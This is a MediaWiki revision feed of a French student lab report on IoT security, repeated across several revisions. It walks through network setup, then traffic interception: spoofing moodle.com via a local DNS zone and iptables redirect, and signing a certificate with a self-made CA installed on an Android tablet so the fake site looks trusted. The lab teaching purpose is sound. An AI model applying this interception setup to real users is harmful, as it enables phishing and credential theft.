 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10724</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10724"/>
		<updated>2025-11-03T15:48:21Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Machine android (06/10) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur de mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routée est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur a accès à Internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de côté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur &amp;lt;code&amp;gt;Cisco&amp;lt;/code&amp;gt;, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;. La première étape fut la création du SSID &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis, on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin, on met en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à Internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone moodle.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10647</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10647"/>
		<updated>2025-10-13T13:54:47Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : /* Redirection réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre en place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
